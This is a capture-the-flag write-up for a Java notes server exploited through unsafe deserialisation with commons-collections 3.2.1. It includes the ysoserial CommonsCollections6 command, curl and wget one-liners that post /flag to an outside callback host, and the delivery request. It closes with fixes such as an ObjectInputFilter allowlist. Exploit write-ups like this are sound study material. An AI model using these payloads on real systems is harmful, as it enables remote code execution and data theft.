home / ctf / k17

java notes

commons-collections 3.2.1 on the classpath and an unfiltered readObject(), so CC6 gives blind RCE exfiltrated with curl's --data-binary.

2026.09.19 K17 CTF 2026 Pwn
FLAG K17{i_am_java_ONE_with_java!!!!oashd8aghrdfo8aehFIOEASDJFNLC}

If you’re stuck on this one, check the dependency list before looking anywhere else in the code. A specific library version on the classpath is usually the entire story for a Java deserialisation challenge, and it was here too.

The challenge

handout.zip contains Dockerfile, pom.xml, and Main.java — a small Java HTTP server. One dependency matters:

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2.1</version>
</dependency>

The server exposes four endpoints:

  • GET / — the notes UI
  • GET /api/export — serialises a demo session, hands it back as a base64 token
  • POST /api/save — builds a session from a name/note, issues a token
  • POST /api/restore — feeds the base64 token straight into ObjectInputStream.readObject()
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(raw))) {
    Object obj = ois.readObject();          // <-- the bug
    if (obj instanceof Session) { ... }
}

The vulnerability

Fully attacker-controlled bytes reach readObject(), and commons-collections 3.2.1 is on the classpath — the precondition for the well-known CommonsCollections gadget chains distributed with ysoserial.

CC1 (the older chain, via AnnotationInvocationHandler) was patched out in JDK 8u71+. CC6 only needs HashSet / HashMap / TiedMapEntry, so it still works on JDK 11:

ObjectInputStream.readObject()
  -> HashSet.readObject() -> HashMap.put() -> HashMap.hash()
  -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue()
  -> LazyMap.get() -> ChainedTransformer.transform()
  -> InvokerTransformer(...) -> Method.invoke()
  -> Runtime.exec(command)

While deserialising, readObject() calls hashCode() on the HashSet’s entries as part of rebuilding the hash table — ordinary behaviour for any HashSet. Substituting a TiedMapEntry for that entry means one such hashCode() call detonates the whole transformer chain hanging off the LazyMap, which is Runtime.exec.

Once readObject() returns, the resulting object is a HashSet, not a Session, so the server responds “that token is not a session.” That response is correct and also irrelevant to whether the exploit worked — by the time it’s sent, the command has already run.

Constraint: exec(String) is not a shell

Runtime.exec(String command) only does naive whitespace tokenisation; it does not interpret shell metacharacters (|, >, $(), backticks). So redirection such as cat /flag.txt > /dev/tcp/... does not work — the payload is limited to “a binary plus space-separated arguments.” That makes this a blind RCE: nothing comes back in the HTTP response body regardless of whether the command succeeded.

Exfiltration used curl/wget’s file-upload flags instead, since both work as a flat argument list with no shell involved:

curl -s -X POST --data-binary @/flag https://<callback>/exfil/curl
wget --post-file=/flag -O /dev/null https://<callback>/exfil/wget

Exploitation steps

1. Build the gadget. ysoserial’s CommonsCollections6 implements the HashSet/TiedMapEntry reflection directly, so there’s no need to hand-roll it. Running ysoserial on a modern JDK (25) requires --add-opens flags to get past the module system:

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 \
     "curl -s -X POST --data-binary @/flag https://<callback>/exfil" \
     > payload.bin

2. Out-of-band callback channel. cloudflared tunnel --url http://localhost:8899 exposes a local HTTP listener on a public URL and logs the request body, giving a quick way to receive exfiltrated data without standing up infrastructure.

3. Deliver:

b64=$(base64 -i payload.bin | tr -d '\n')
curl -X POST "$TARGET/api/restore" -H 'Content-Type: text/plain' --data "$b64"

The response, that token is not a session, is the expected outcome: the deserialised object really is a HashSet and fails the instanceof Session check. That response is itself the signal that deserialisation — and therefore the gadget chain — actually completed.

4. A POST /exfil/curl request lands on the callback server carrying the contents of /flag:

K17{i_am_java_ONE_with_java!!!!oashd8aghrdfo8aehFIOEASDJFNLC}

Takeaways

  • The moment untrusted input reaches ObjectInputStream.readObject(), every Serializable class on the classpath becomes attack surface — one copy of commons-collections is enough.
  • The fix is either to avoid readObject() entirely (use JSON or similar), or, if deserialisation of Java objects is unavoidable, to constrain deserialisable classes with an ObjectInputFilter allowlist (JEP 290, Java 9+). This challenge had no filter at all.
  • exec(String) is not a shell, so RCE reached this way is blind by default. curl/wget’s --data-binary @file / --post-file= flags are reliable one-liners for exfiltrating a whole file without needing shell syntax.
#java#deserialisation#ysoserial#rce